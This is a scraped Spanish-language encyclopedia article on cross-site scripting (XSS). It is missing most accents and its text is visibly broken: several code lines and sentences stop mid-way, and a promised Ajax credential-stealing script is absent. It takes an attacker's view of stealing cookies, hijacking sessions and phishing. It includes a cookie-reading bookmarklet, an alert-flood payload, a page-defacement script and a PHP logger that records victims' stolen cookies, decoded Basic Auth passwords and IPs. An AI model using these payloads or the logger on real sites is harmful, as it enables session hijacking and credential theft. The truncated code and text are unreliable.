Escolar Documentos
Profissional Documentos
Cultura Documentos
Tabla de contenidos
1 Introduccion
2 Indirecta
3 Usando FrameSets
4 Mensaje personalizado
5 Directa
5.1 Ejemplos de Scripts donde no son comunes de encontrar
6 Ajax
6.1 Script para obtener credenciales en tipo BASIC
7 log.php para registrar cookies
8 Enlaces externos
Introduccion
XSS es un ataque basado en la explotacin de vulnerabilidades del sistema de validacin de HTML
incrustado. Su nombre, del ingls "Cross Site Scripting", y renombrado XSS para que no sea confundido con
las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar cdigo
de "scripting", como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a
llamar a los ataques de XSS "HTML Injection", sin embargo el trmino correcto es XSS. Estos errores se
pueden encontrar en cualquier aplicacin HTML, no se limita a sitios web, ya que puede haber aplicaciones
locales vulnerables a XSS, o incluso el navegador en s. El problema est en que normalmente no se validan
correctamente los datos de entrada que son usados en cierta aplicacin. Esta vulnerabilidad puede estar
presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada
una se trata de forma diferente.
Directa: Este tipo de XSS es el que normalmente es censurado; as que es muy poco comn que
puedas usar tags como <script> o <iframe>
Indirecta: Esta es un tipo de vulnerabilidad, muy comn y muy poco explotada. Consiste en
modificar valores que la aplicacin web utiliza para pasar variables entre dos pginas, sin usar
sesiones.
Indirecta
Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido
de una cookie, sin usar ningn tipo de iecv o addin para tu navegador, puedes usar el siguiente script de
jasildbg. Slo colcalo en la barra de direcciones, y presiona Enter.
javascript:for(var g in document.cookie.split(';'))void(prompt("Valor de cookie "+document.cookie.split(';')[
Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrar.
Qu podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.
Usando FrameSets
Regresemos al ejemplo del frameset, que segn la pgina que coloques te crea un frame a esa pgina. Qu
pasara si pones en esa URL?
javascript:while(1)alert("Te estoy inundando de mensajes!");
Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dir, bueno, es del mismo
dominio, no puede ser nada malo.. y de resultado tendr un loop infinito.
Hasta ah llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un script
que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.
El robo de cookies es lo ms bsico, y tiene como objetivo robar la cookie. Y eso de qu sirve? Tengo el
PHPSESSID, y si el usuario cierra sesin no sirve de nada.
Cierto, pero con el uso de la librera cURL un usuario malintencionado, podra al recibir tu cookie, entrar a
la pgina, y dejarla en cach, para que el atacante cuando quiera, pueda entrar como t, sin siquiera necesitar
tu contrasea.
Otro uso comn para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.
Quiere ello decir que t ves la barra de direcciones, y ves que ests en una pgina, pero realmente ests en
otra. Introduces tu contrasea y la fastidiaste.
Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas pginas web son
vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio
malicioso, y se ejecuta, sin que el usuario lo sepa.
Mensaje personalizado
La tcnica slo funciona con imgenes:
error.php?error=Usuario%20Invalido
<script>
document.documentElement.innerHTML="NADA";
</script>
Directa
Funciona localizando puntos dbiles en la programacin de los filtros. As que si, por ejemplo, logran quitar
los <iframe>, <script>, el atacante siempre puede poner un <div> mal
Ajax
ste es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para
introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.
El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticacin de un sistema basado en
Autenticacin Bsica (Basic Auth). Slo falta decodificarlo, pero es ms fcil mandarlo codificado al
registro de contraseas. La codificacin es base64.
Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.
<?php
$archivo = fopen('log2.htm','a');
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));
fwrite($archivo, '<br>Cookie: '.htmlentities($cookie).'<br>Pagina: '.htmlentities($re));
fwrite($archivo, '<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
fclose($archivo);
?>
Enlaces externos
XSS Cheat Sheet (http://ha.ckers.org/xss.html)
XSS FAQ (http://www.cgisecurity.com/articles/xss-faq.shtml)
Sla.ckers Forum (http://sla.ckers.org)
Ha.ckers Blog (http://ha.ckers.org)
Obtenido de "http://es.wikipedia.org/wiki/XSS"
Categoras: Wikipedia:Wikificar | Hacking
Esta pgina fue modificada por ltima vez el 06:37, 23 may 2007.
Contenido disponible bajo los trminos de la Licencia de documentacin libre de GNU (vase
Derechos de autor).
Wikipedia es una marca registrada de la organizacin sin nimo de lucro Wikimedia Foundation,
Inc.